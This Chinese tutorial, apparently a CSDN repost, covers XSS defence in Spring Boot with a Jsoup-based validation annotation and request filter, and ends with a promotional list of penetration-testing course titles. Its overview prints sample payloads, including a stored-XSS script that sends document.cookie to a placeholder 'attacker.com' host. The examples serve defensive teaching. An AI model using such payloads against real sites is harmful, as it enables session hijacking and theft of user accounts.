【2025版】最新发现 XSS 漏洞?别急,用这招 SpringBoot 技巧轻松搞定!从零基础到精通,收藏这篇就够了!

引言

随着Web应用的普及,网络安全问题也日益凸显。跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,它允许攻击者将恶意脚本注入到其他用户浏览和使用的正常网页中。当其他用户浏览这些网页时,恶意脚本就会在他们的浏览器上执行,从而可能导致信息泄露、会话劫持等严重后果。XSS攻击的普遍性和潜在危害性使其成为Web应用安全中不可忽视的一部分。

本文旨在探讨如何在Spring Boot应用程序中有效地防御XSS攻击。我们将介绍两种主要的防御手段:注解和过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行。

一、XSS攻击概述

XSS攻击,全称为跨站脚本攻击(Cross-Site Scripting),是一种常见的网络攻击手段。它主要利用了Web应用程序对用户输入验证的不足,允许攻击者将恶意脚本注入到其他用户浏览的网页中。

1.1 XSS攻击的定义

XSS攻击是指攻击者在Web页面的输入数据中插入恶意脚本,当其他用户浏览该页面时,这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的,因此它可以访问该用户的所有会话信息和权限,从而可能导致信息泄露、会话劫持、恶意操作等安全风险。

1.2 XSS攻击的类型

XSS攻击主要分为以下三种类型:

  • 存储型XSS(Persistent XSS): 恶意脚本被永久存储在目标服务器上,如数据库、消息论坛、访客留言等,当用户访问相应的网页时,恶意脚本就会执行。

  • 反射型XSS(Reflected XSS): 恶意脚本并不存储在目标服务器上,而是通过诸如URL参数的方式直接在请求响应中反射并执行。这种类型的攻击通常是通过诱使用户点击链接或访问特定的URL来实施的。

  • 基于DOM的XSS(DOM-based XSS): 这种类型的XSS攻击完全发生在客户端,不需要服务器的参与。它通过恶意脚本修改页面的DOM结构,实现攻击。

1.3 XSS攻击的攻击原理及示例

XSS攻击的基本原理是利用Web应用程序对用户输入的信任,将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。

示例:

  • 存储型XSS攻击:

攻击者在一个博客评论系统中提交以下评论:

<script>  
  document.location='http://attacker.com/steal.php?cookie='+document.cookie;  
</script>  

当其他用户查看这条评论时,他们的cookie会被发送到攻击者的服务器。

  • 反射型XSS攻击:

攻击者构造一个恶意URL:

http://example.com/search?q=<script>alert('XSS')</script>  

如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。

  • DOM型XSS攻击:

假设网页中有以下JavaScript代码:

var name = document.location.hash.substr(1);  
document.write("欢迎, " + name);  

攻击者可以构造如下URL:

http://example.com/page.html#<script>alert('XSS')</script>  

当用户访问此URL时,恶意脚本会被执行。

二、Spring Boot中的XSS防御手段

在Spring Boot中,我们可以采用多种方式来防御XSS攻击。下面将详细介绍两种常用的防御手段:使用注解和使用过滤器。

2.1 使用注解进行XSS防御

注解是一种轻量级的防御手段,它可以在方法或字段级别对输入进行校验,从而防止XSS攻击。

2.1.1 引入相关依赖

<!--JSR-303/JSR-380用于验证的注解 -->  
<dependency>  
    <groupId>org.springframework.boot</groupId>  
    <artifactId>spring-boot-starter-validation</artifactId>  
    <version>3.2.0</version>  
</dependency>  

2.1.2 使用@XSS注解进行参数校验

我们可以自定义一个@XSS注解,用于标记那些需要校验的参数。这里是一个简单的@XSS注解定义:

@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })  
@Retention(RetentionPolicy.RUNTIME)  
@Constraint(validatedBy = XssValidator.class)  
public @interface Xss {  
    String message() default "非法输入, 检测到潜在的XSS";  
    Class<?>[] groups() default {};  
    Class<? extends Payload>[] payload() default {};  
}  

2.1.3 实现自定义注解处理器

接下来,我们需要实现XSSValidator类,该类将负责检查输入是否包含潜在的XSS攻击脚本:

public class XssValidator implements ConstraintValidator<Xss, String> {  
    /**  
     * 使用自带的 basicWithImages 白名单  
     */  
    private static final Safelist WHITE_LIST = Safelist.relaxed();  
    /**  
     * 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化  
     * 从而保持输入和输出内容的一致性。  
     */  
    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);  
  
    /**  
     * 验证输入值是否有效,即是否包含潜在的XSS攻击脚本。  
     *   
     * @param value 输入值,需要进行XSS攻击脚本清理。  
     * @param context 上下文对象,提供关于验证环境的信息,如验证失败时的错误消息定制。  
     * @return 如果清理后的值与原始值相同,则返回true,表示输入值有效;否则返回false,表示输入值无效。  
     */  
    @Override  
    public boolean isValid(String value, ConstraintValidatorContext context) {  
        // 使用Jsoup库对输入值进行清理,以移除潜在的XSS攻击脚本。  
        // 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。  
        String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);  
          
        // 比较清理后的值与原始值是否相同,用于判断输入值是否有效。  
        return cleanedValue.equals(value);  
    }  
  
}  

2.1.4 使用注解

在要进行XSS防御的属性上添加注解:

@Data  
@Tag(name = "用户",description = "用户登录类")  
public class UserLoginDTO {  
  
    @Xss  
    @NotBlank(message = "账号不能为空")  
    @Schema(name = "用户账号",type = "String")  
    private String userAccount;  
  
    @Xss  
    @Size(min = 6, max = 18, message = "用户密码长度需在6-18位")  
    @Schema(name = "用户密码",type = "String")  
    private String password;  
  
    @Xss  
    @NotBlank(message = "邮箱验证码内容不能为空")  
    @Schema(name = "邮箱验证码",type = "String")  
    private String emailCaptcha;  
}  

Controller中的接口添加@Validated注解:

@PostMapping("/test2")  
public Result<String> login(@RequestBody  @Validated UserLoginDTO userLoginDTO) {  
    return Result.success();  
}  

2.2 使用过滤器进行XSS防御

2.2.1 引入相关依赖

<!-- Jsoup依赖 -->  
<dependency>  
   <groupId>org.jsoup</groupId>  
   <artifactId>jsoup</artifactId>  
   <version>1.17.2</version>  
</dependency>  

2.2.2 编写配置类

/**  
 * 跨站脚本(XSS)过滤配置类。  
 */  
@Data  
@Component  
@ConfigurationProperties(prefix = "xss")  
public class FilterConfig {  
    /**  
     * 是否启用XSS过滤。  
     */  
    private String enabled;  
  
    /**  
     * 需要排除的URL模式,这些URL不会进行XSS过滤。  
     */  
    private String excludes;  
  
    /**  
     * 需要应用XSS过滤的URL模式。  
     */  
    private String urlPatterns;  
  
    /**  
     * 注册XSS过滤器。  
     *  
     * @return FilterRegistrationBean 用于注册过滤器的bean。  
     */  
    @Bean  
    public FilterRegistrationBean xssFilterRegistration() {  
        FilterRegistrationBean registrationBean = new FilterRegistrationBean();  
        // 设置过滤器的分发类型为请求类型  
        registrationBean.setDispatcherTypes(DispatcherType.REQUEST);  
        // 创建XssFilter的实例  
        registrationBean.setFilter(new XssFilter());  
        // 添加过滤器需要拦截的URL模式,这些模式从配置文件中的"urlPatterns"属性读取  
        registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ","));  
        // 设置过滤器的名称  
        registrationBean.setName("XssFilter");  
        // 设置过滤器的执行顺序,数值越小,优先级越高  
        registrationBean.setOrder(9999);  
        // 创建一个Map,用于存储过滤器的初始化参数  
        Map<String, String> initParameters = new HashMap<>();  
        // 将配置文件中的"excludes"属性设置到过滤器的初始化参数中  
        initParameters.put("excludes", excludes);  
        // 将配置文件中的"enabled"属性设置到过滤器的初始化参数中  
        initParameters.put("enabled", enabled);  
        // 将初始化参数设置到FilterRegistrationBean中  
        registrationBean.setInitParameters(initParameters);  
        // 返回FilterRegistrationBean,包含了XssFilter的配置信息  
        return registrationBean;  
    }  
}  

2.2.3 修改配置文件

xss:  
  enabled: true  
  excludes:  
  url-patterns: /*  

2.2.4 创建XSSFilter类

import jakarta.servlet.*;  
import jakarta.servlet.http.HttpServletRequest;  
import jakarta.servlet.http.HttpServletResponse;  
import lombok.extern.slf4j.Slf4j;  
import org.apache.commons.lang3.StringUtils;  
  
import java.io.IOException;  
import java.util.ArrayList;  
import java.util.List;  
import java.util.regex.Matcher;  
import java.util.regex.Pattern;  
  
@Slf4j  
public class XssFilter implements Filter {  
    /**  
     * 存储需要排除XSS过滤的URL模式列表。  
     */  
    private List<String> excludes = new ArrayList<>();  
  
    /**  
     * 是否启用XSS过滤的标志。  
     */  
    private boolean enabled = false;  
  
    /**  
     * 初始化过滤器,从过滤器配置中读取排除列表和启用状态。  
     *  
     * @param filterConfig 过滤器配置对象。  
     * @throws ServletException 如果初始化过程中出现错误。  
     */  
    @Override  
    public void init(FilterConfig filterConfig) throws ServletException {  
        String strExcludes = filterConfig.getInitParameter("excludes");  
        String strEnabled = filterConfig.getInitParameter("enabled");  
        //将不需要xss过滤的接口添加到列表中  
        if (StringUtils.isNotEmpty(strExcludes)) {  
            String[] urls = strExcludes.split(",");  
            for (String url : urls) {  
                excludes.add(url);  
            }  
        }  
        if (StringUtils.isNotEmpty(strEnabled)) {  
            enabled = Boolean.valueOf(strEnabled);  
        }  
    }  
  
    /**  
     * 执行过滤逻辑,如果当前请求不在排除列表中,则通过XSS过滤器包装请求。  
     *  
     * @param request  HTTP请求对象。  
     * @param response HTTP响应对象。  
     * @param chain    过滤器链对象,用于继续或中断请求处理。  
     * @throws IOException      如果处理过程中出现I/O错误。  
     * @throws ServletException 如果处理过程中出现Servlet相关错误。  
     */  
    @Override  
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {  
        HttpServletRequest req = (HttpServletRequest) request;  
        HttpServletResponse resp = (HttpServletResponse) response;  
        //如果该访问接口在排除列表里面则不拦截  
        if (isExcludeUrl(req.getServletPath())) {  
            chain.doFilter(request, response);  
            return;  
        }  
  
        log.info("uri:{}", req.getRequestURI());  
        // xss 过滤  
        chain.doFilter(new XssWrapper(req), resp);  
    }  
  
    /**  
     * 销毁过滤器,释放资源。  
     */  
    @Override  
    public void destroy() {  
        // 无需额外的销毁逻辑  
    }  
  
    /**  
     * 判断当前请求的URL是否应该被排除在XSS过滤之外。  
     *  
     * @param urlPath 请求的URL路径。  
     * @return 如果请求应该被排除,则返回true;否则返回false。  
     */  
    private boolean isExcludeUrl(String urlPath) {  
        if (!enabled) {  
            //如果xss开关关闭了,则所有url都不拦截  
            return true;  
        }  
        if (excludes == null || excludes.isEmpty()) {  
            return false;  
        }  
  
        String url = urlPath;  
        for (String pattern : excludes) {  
            Pattern p = Pattern.compile("^" + pattern);  
            Matcher m = p.matcher(url);  
            if (m.find()) {  
                return true;  
            }  
        }  
        return false;  
    }  
}  

2.2.5 编写过滤工具类

/**  
 * XSS过滤工具类,使用Jsoup库对输入的字符串进行XSS攻击防护  
 */  
public class XssUtil {  
  
    /**  
     * 使用自带的 basicWithImages 白名单  
     */  
    private static final Safelist WHITE_LIST = Safelist.relaxed();  
    /**  
     * 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化  
     * 从而保持输入和输出内容的一致性。  
     */  
    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);  
      
    /*  
      初始化白名单策略,允许所有标签拥有style属性。  
      这是因为在富文本编辑中,样式通常通过style属性来定义,需要确保这些样式能够被保留。  
     */  
    static {  
        // 富文本编辑时一些样式是使用 style 来进行实现的  
        // 比如红色字体 style="color:red;"  
        // 所以需要给所有标签添加 style 属性  
        WHITE_LIST.addAttributes(":all", "style");  
    }  
      
    /**  
     * 清理输入的字符串,移除潜在的XSS攻击代码。  
     *   
     * @param content 待清理的字符串,通常是用户输入的HTML内容。  
     * @return 清理后的字符串,保证不包含XSS攻击代码。  
     */  
    public static String clean(String content) {  
        // 使用定义好的白名单策略和输出设置清理输入的字符串  
        return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS);  
    }  
}  

2.2.6 编写XSSRequestWrapper类清理脚本

XSSFilter类中,我们创建了一个新的XSSRequestWrapper类,该类继承自HttpServletRequestWrapper。在这个包装类中,我们将重写getParameter等方法,以清理请求参数中的潜在XSS脚本。

@Slf4j  
public class XssWrapper extends HttpServletRequestWrapper {  
    /**  
     * Constructs a request object wrapping the given request.  
     *  
     * @param request The request to wrap  
     * @throws IllegalArgumentException if the request is null  
     */  
    public XssWrapper(HttpServletRequest request) {  
        super(request);  
        log.info("XssWrapper");  
    }  
  
    /**  
     * 对数组参数进行特殊字符过滤  
     */  
    @Override  
    public String[] getParameterValues(String name) {  
        String[] values = super.getParameterValues(name);  
        if (values == null) {  
            return null;  
        }  
        int count = values.length;  
        String[] encodedValues = new String[count];  
        for (int i = 0; i < count; i++) {  
            encodedValues[i] = cleanXSS(values[i]);  
        }  
        return encodedValues;  
    }  
  
    /**  
     * 对参数中特殊字符进行过滤  
     */  
    @Override  
    public String getParameter(String name) {  
        String value = super.getParameter(name);  
        if (StrUtil.isBlank(value)) {  
            return value;  
        }  
        return cleanXSS(value);  
    }  
  
    /**  
     * 获取attribute,特殊字符过滤  
     */  
    @Override  
    public Object getAttribute(String name) {  
        Object value = super.getAttribute(name);  
        if (value instanceof String && StrUtil.isNotBlank((String) value)) {  
            return cleanXSS((String) value);  
        }  
        return value;  
    }  
  
    /**  
     * 对请求头部进行特殊字符过滤  
     */  
    @Override  
    public String getHeader(String name) {  
        String value = super.getHeader(name);  
        if (StrUtil.isBlank(value)) {  
            return value;  
        }  
        return cleanXSS(value);  
    }  
  
    /**  
     * 清理输入的字符串以防止XSS攻击  
     *  
     * @param value 待清理的字符串,通常为用户输入或来自不可信源的数据。  
     * @return 清理后的字符串,移除了可能的XSS攻击代码。  
     */  
    private String cleanXSS(String value) {  
        return XssUtil.clean(value);  
    }  
}  

2.2.7 自定义json消息解析器

在使用springboot中,类似于普通的参数parameterattributeheader一类的,可以直接使用过滤器来过滤。而前端发送回来的json字符串就没那么方便过滤了。可以考虑用自定义json消息解析器来过滤前端传递的json。

/**  
 * 在读取和写入JSON数据时特殊字符避免xss攻击的消息解析器  
 *  
 */  
public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {  
  
    /**  
     * 从HTTP输入消息中读取对象,同时应用XSS防护。  
     *   
     * @param type        类型令牌,表示要读取的对象类型。  
     * @param contextClass    上下文类,提供类型解析的上下文信息。  
     * @param inputMessage HTTP输入消息,包含要读取的JSON数据。  
     * @return 从输入消息中解析出的对象,经过XSS防护处理。  
     * @throws IOException 如果发生I/O错误。  
     * @throws HttpMessageNotReadableException 如果消息无法读取。  
     */  
    @Override  
    public Object read(Type type, Class contextClass,  
                       HttpInputMessage inputMessage) throws IOException,  
            HttpMessageNotReadableException {  
        JavaType javaType = getJavaType(type, contextClass);  
        Object obj = readJavaType(javaType, inputMessage);  
        //得到请求json  
        String json = super.getObjectMapper().writeValueAsString(obj);  
        //过滤特殊字符  
        String result = XssUtil.clean(json);  
        Object resultObj = super.getObjectMapper().readValue(result, javaType);  
        return resultObj;  
    }  
  
    /**  
     * 从HTTP输入消息中读取指定Java类型的对象,内部使用。  
     *   
     * @param javaType    要读取的对象的Java类型。  
     * @param inputMessage HTTP输入消息,包含要读取的JSON数据。  
     * @return 从输入消息中解析出的对象。  
     * @throws IOException 如果发生I/O错误。  
     * @throws HttpMessageNotReadableException 如果消息无法读取。  
     */  
    private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) {  
        try {  
            return super.getObjectMapper().readValue(inputMessage.getBody(), javaType);  
        } catch (IOException ex) {  
            throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex);  
        }  
    }  
  
    /**  
     * 将对象写入HTTP输出消息,同时应用XSS防护。  
     *   
     * @param object 要写入的对象。  
     * @param outputMessage HTTP输出消息,对象将被序列化为JSON并写入此消息。  
     * @throws IOException 如果发生I/O错误。  
     * @throws HttpMessageNotWritableException 如果消息无法写入。  
     */  
    @Override  
    protected void writeInternal(Object object, HttpOutputMessage outputMessage)  
            throws IOException, HttpMessageNotWritableException {  
        //得到要输出的json  
        String json = super.getObjectMapper().writeValueAsString(object);  
        //过滤特殊字符  
        String result = XssUtil.clean(json);  
        // 输出  
        outputMessage.getBody().write(result.getBytes());  
    }  
}  

然后在启动类添加:

@Bean  
public HttpMessageConverters xssHttpMessageConverters() {  
    XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter();  
    HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;  
    return new HttpMessageConverters(converter);  
}  

三、测试

3.1 XSS注解:

如果不符合规则的字符(例如<script>alert('XSS');</script>)会提示非法输入,检测到潜在的XSS,可以看到下面的返回参数中的message已经变为默认警告。

3.2 XSS过滤器

XSS过滤器实现的效果是过滤,将前端传递参数进行清理,达到XSS防御的目的。

观察下面的测试结果可以知道过滤器成功实现参数清理。

四、总结

本文深入探讨了在Spring Boot应用程序中如何有效地防御XSS攻击。我们介绍了两种主要的防御手段:使用注解和使用过滤器。

通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行,希望对大家有所帮助。

来源:blog.csdn.net/weixin_73588491/

article/details/140216853

后端专属技术群

构建高质量的技术交流社群,欢迎从事编程开发、技术招聘HR进群,也欢迎大家分享自己公司的内推信息,相互帮助,一起进步!

黑客/网络安全学习路线

对于从来没有接触过黑客/网络安全的同学,目前网络安全、信息安全也是计算机大学生毕业薪资相对较高的学科。

大白也帮大家准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

这也是耗费了大白近四个月的时间,吐血整理,文章非常非常长,觉得有用的话,希望粉丝朋友帮忙点个**「分享」「收藏」「在看」「赞」**

网络安全/渗透测试法律法规必知必会****

今天大白就帮想学黑客/网络安全技术的朋友们入门必须先了解法律法律。

【网络安全零基础入门必知必会】网络安全行业分析报告(01)

【网络安全零基础入门必知必会】什么是黑客、白客、红客、极客、脚本小子?(02)

【网络安全零基础入门必知必会】网络安全市场分类(03)

【网络安全零基础入门必知必会】常见的网站攻击方式(04)

【网络安全零基础入门必知必会】网络安全专业术语全面解析(05)

【网络安全入门必知必会】《中华人民共和国网络安全法》(06)

【网络安全零基础入门必知必会】《计算机信息系统安全保护条例》(07)

【网络安全零基础入门必知必会】《中国计算机信息网络国际联网管理暂行规定》(08)

【网络安全零基础入门必知必会】《计算机信息网络国际互联网安全保护管理办法》(09)

【网络安全零基础入门必知必会】《互联网信息服务管理办法》(10)

【网络安全零基础入门必知必会】《计算机信息系统安全专用产品检测和销售许可证管理办法》(11)

【网络安全零基础入门必知必会】《通信网络安全防护管理办法》(12)

【网络安全零基础入门必知必会】《中华人民共和国国家安全法》(13)

【网络安全零基础入门必知必会】《中华人民共和国数据安全法》(14)

【网络安全零基础入门必知必会】《中华人民共和国个人信息保护法》(15)

【网络安全零基础入门必知必会】《网络产品安全漏洞管理规定》(16)

网络安全/渗透测试linux入门必知必会

【网络安全零基础入门必知必会】什么是Linux?Linux系统的组成与版本?什么是命令(01)

【网络安全零基础入门必知必会】VMware下载安装,使用VMware新建虚拟机,远程管理工具(02)

【网络安全零基础入门必知必会】VMware常用操作指南(非常详细)零基础入门到精通,收藏这一篇就够了(03)

【网络安全零基础入门必知必会】CentOS7安装流程步骤教程(非常详细)零基入门到精通,收藏这一篇就够了(04)

【网络安全零基础入门必知必会】Linux系统目录结构详细介绍(05)

【网络安全零基础入门必知必会】Linux 命令大全(非常详细)零基础入门到精通,收藏这一篇就够了(06)

【网络安全零基础入门必知必会】linux安全加固(非常详细)零基础入门到精通,收藏这一篇就够了(07)

网络安全/渗透测试****计算机网络入门必知必会****

【网络安全零基础入门必知必会】TCP/IP协议深入解析(非常详细)零基础入门到精通,收藏这一篇就够了(01)

【网络安全零基础入门必知必会】什么是HTTP数据包&Http数据包分析(非常详细)零基础入门到精通,收藏这一篇就够了(02)

【网络安全零基础入门必知必会】计算机网络—子网划分、子网掩码和网关(非常详细)零基础入门到精通,收藏这一篇就够了(03)

网络安全/渗透测试入门之HTML入门必知必会

【网络安全零基础入门必知必会】什么是HTML&HTML基本结构&HTML基本使用(非常详细)零基础入门到精通,收藏这一篇就够了1

【网络安全零基础入门必知必会】VScode、PhpStorm的安装使用、Php的环境配置,零基础入门到精通,收藏这一篇就够了2

【网络安全零基础入门必知必会】HTML之编写登录和文件上传(非常详细)零基础入门到精通,收藏这一篇就够了3

网络安全/渗透测试入门之Javascript入门必知必会

【网络安全零基础入门必知必会】Javascript语法基础(非常详细)零基础入门到精通,收藏这一篇就够了(01)

【网络安全零基础入门必知必会】Javascript实现Post请求、Ajax请求、输出数据到页面、实现前进后退、文件上传(02)

网络安全/渗透测试入门之Shell入门必知必会

【网络安全零基础入门必知必会】Shell编程基础入门(非常详细)零基础入门到精通,收藏这一篇就够了(第七章)

网络安全/渗透测试入门之PHP入门必知必会

【网络安全零基础入门】PHP环境搭建、安装Apache、安装与配置MySQL(非常详细)零基础入门到精通,收藏这一篇就够(01)

【网络安全零基础入门】PHP基础语法(非常详细)零基础入门到精通,收藏这一篇就够了(02)

【网络安全零基础入门必知必会】PHP+Bootstrap实现表单校验功能、PHP+MYSQL实现简单的用户注册登录功能(03)

网络安全/渗透测试入门之MySQL入门必知必会

【网络安全零基础入门必知必会】MySQL数据库基础知识/安装(非常详细)零基础入门到精通,收藏这一篇就够了(01)

【网络安全零基础入门必知必会】SQL语言入门(非常详细)零基础入门到精通,收藏这一篇就够了(02)

【网络安全零基础入门必知必会】MySQL函数使用大全(非常详细)零基础入门到精通,收藏这一篇就够了(03)

【网络安全零基础入门必知必会】MySQL多表查询语法(非常详细)零基础入门到精通,收藏这一篇就够了(04)

****网络安全/渗透测试入门之Python入门必知必会

【网络安全零基础入门必知必会】之Python+Pycharm安装保姆级教程,Python环境配置使用指南,收藏这一篇就够了【1】

【网络安全零基础入门必知必会】之Python编程入门教程(非常详细)零基础入门到精通,收藏这一篇就够了(2)

python开发之手写第一个python程序

python开发笔记之变量

python基础语法特征

python开发数据类型

python开发笔记之程序交互

python入门教程之python开发学习笔记基本数据类型

python入门教程之python开发笔记之格式化输出

python入门教程之python开发笔记基本运算符

python入门教程python开发基本流程控制if … else

python入门教程之python开发笔记流程控制之循环

python入门之Pycharm开发工具的使用

python入门教程之python字符编码转换

python入门之python开发字符编码

python入门之python开发基本数据类型数字

python入门python开发基本数据类型字符串

python入门python开发基本数据类型列表

python入门python开发基本数据类型

python入门教程之python开发可变和不可变数据类型和hash

python入门教程python开发字典数据类型

python入门之python开发笔记基本数据类型集合

python开发之collections模块

python开发笔记之三元运算

【网络安全零基础入门必知必会】之10个python爬虫入门实例(非常详细)零基础入门到精通,收藏这一篇就够了(3)

****网络安全/渗透测试入门之SQL注入入门必知必会

【网络安全渗透测试零基础入门必知必会】之初识SQL注入(非常详细)零基础入门到精通,收藏这一篇就够了(1)

【网络安全渗透测试零基础入门必知必会】之SQL手工注入基础语法&工具介绍(2)

【网络安全渗透测试零基础入门必知必会】之SQL注入实战(非常详细)零基础入门到精通,收藏这一篇就够了(3)

【网络安全渗透测试零基础入门必知必会】之SQLmap安装&实战(非常详细)零基础入门到精通,收藏这一篇就够了(4)

【网络安全渗透测试零基础入门必知必会】之SQL防御(非常详细)零基础入门到精通,收藏这一篇就够了(4)

****网络安全/渗透测试入门之XSS攻击入门必知必会

【网络安全渗透测试零基础入门必知必会】之XSS攻击基本概念和原理介绍(非常详细)零基础入门到精通,收藏这一篇就够了(1)

网络安全渗透测试零基础入门必知必会】之XSS攻击获取用户cookie和用户密码(实战演示)零基础入门到精通收藏这一篇就够了(2)

【网络安全渗透测试零基础入门必知必会】之XSS攻击获取键盘记录(实战演示)零基础入门到精通收藏这一篇就够了(3)

【网络安全渗透测试零基础入门必知必会】之xss-platform平台的入门搭建(非常详细)零基础入门到精通,收藏这一篇就够了4

【网络安全渗透测试入门】之XSS漏洞检测、利用和防御机制XSS游戏(非常详细)零基础入门到精通,收藏这一篇就够了5

****网络安全/渗透测试入门文件上传攻击与防御入门必知必会

【网络安全渗透测试零基础入门必知必会】之什么是文件包含漏洞&分类(非常详细)零基础入门到精通,收藏这一篇就够了1

【网络安全渗透测试零基础入门必知必会】之cve实际漏洞案例解析(非常详细)零基础入门到精通, 收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之PHP伪协议精讲(文件包含漏洞)零基础入门到精通,收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之如何搭建 DVWA 靶场保姆级教程(非常详细)零基础入门到精通,收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之Web漏洞-文件包含漏洞超详细全解(附实例)5

【网络安全渗透测试零基础入门必知必会】之文件上传漏洞修复方案6

****网络安全/渗透测试入门CSRF渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之CSRF漏洞概述和原理(非常详细)零基础入门到精通, 收藏这一篇就够了1

【网络安全渗透测试零基础入门必知必会】之CSRF攻击的危害&分类(非常详细)零基础入门到精通, 收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之XSS与CSRF的区别(非常详细)零基础入门到精通, 收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之CSRF漏洞挖掘与自动化工具(非常详细)零基础入门到精通,收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之CSRF请求伪造&Referer同源&置空&配合XSS&Token值校验&复用删除5

****网络安全/渗透测试入门SSRF渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之SSRF漏洞概述及原理(非常详细)零基础入门到精通,收藏这一篇就够了 1

【网络安全渗透测试零基础入门必知必会】之SSRF相关函数和协议(非常详细)零基础入门到精通,收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之SSRF漏洞原理攻击与防御(非常详细)零基础入门到精通,收藏这一篇就够了3**
**

****网络安全/渗透测试入门XXE渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之XML外部实体注入(非常详细)零基础入门到精通,收藏这一篇就够了1

网络安全渗透测试零基础入门必知必会】之XXE的攻击与危害(非常详细)零基础入门到精通,收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之XXE漏洞漏洞及利用方法解析(非常详细)零基础入门到精通,收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之微信XXE安全漏洞处理(非常详细)零基础入门到精通,收藏这一篇就够了4

****网络安全/渗透测试入门远程代码执行渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之远程代码执行原理介绍(非常详细)零基础入门到精通,收藏这一篇就够了1

【网络安全零基础入门必知必会】之CVE-2021-4034漏洞原理解析(非常详细)零基础入门到精通,收藏这一篇就够了2

【网络安全零基础入门必知必会】之PHP远程命令执行与代码执行原理利用与常见绕过总结3

【网络安全零基础入门必知必会】之WEB安全渗透测试-pikachu&DVWA靶场搭建教程,零基础入门到精通,收藏这一篇就够了4

****网络安全/渗透测试入门反序列化渗透与防御必知必会

【网络安全零基础入门必知必会】之什么是PHP对象反序列化操作(非常详细)零基础入门到精通,收藏这一篇就够了1

【网络安全零基础渗透测试入门必知必会】之php反序列化漏洞原理解析、如何防御此漏洞?如何利用此漏洞?2

【网络安全渗透测试零基础入门必知必会】之Java 反序列化漏洞(非常详细)零基础入门到精通,收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之Java反序列化漏洞及实例解析(非常详细)零基础入门到精通,收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之CTF题目解析Java代码审计中的反序列化漏洞,以及其他漏洞的组合利用5

网络安全/渗透测试**入门逻辑漏洞必知必会**

【网络安全渗透测试零基础入门必知必会】之一文带你0基础挖到逻辑漏洞(非常详细)零基础入门到精通,收藏这一篇就够了

网络安全/渗透测试入门暴力猜解与防御必知必会

【网络安全渗透测试零基础入门必知必会】之密码安全概述(非常详细)零基础入门到精通,收藏这一篇就够了1

【网络安全渗透测试零基础入门必知必会】之什么样的密码是不安全的?(非常详细)零基础入门到精通,收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之密码猜解思路(非常详细)零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之利用Python暴力破解邻居家WiFi密码、压缩包密码,收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之BurpSuite密码爆破实例演示,零基础入门到精通,收藏这一篇就够了5

【网络安全渗透测试零基础入门必知必会】之Hydra密码爆破工具使用教程图文教程,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之暴力破解medusa,零基础入门到精通,收藏这一篇就够了7

【网络安全渗透测试零基础入门必知必会】之Metasploit抓取密码,零基础入门到精通,收藏这一篇就够了8

Wfuzz:功能强大的web漏洞挖掘工具

****网络安全/渗透测试入门掌握Redis未授权访问漏洞必知必会

【网络安全渗透测试零基础入门必知必会】之Redis未授权访问漏洞,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Redis服务器被攻击后该如何安全加固,零基础入门到精通,收藏这一篇就够了**
**

网络安全/渗透测试入门掌握**ARP渗透与防御关必知必会**

【网络安全渗透测试零基础入门必知必会】之ARP攻击原理解析,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之ARP流量分析,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之ARP防御策略与实践指南,零基础入门到精通,收藏这一篇就够了

网络安全/渗透测试入门掌握系统权限提升渗透与防御关****必知必会

【网络安全渗透测试零基础入门必知必会】之Windows提权常用命令,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Windows权限提升实战,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之linux 提权(非常详细)零基础入门到精通,收藏这一篇就够了

网络安全/渗透测试入门掌握Dos与DDos渗透与防御相关****必知必会

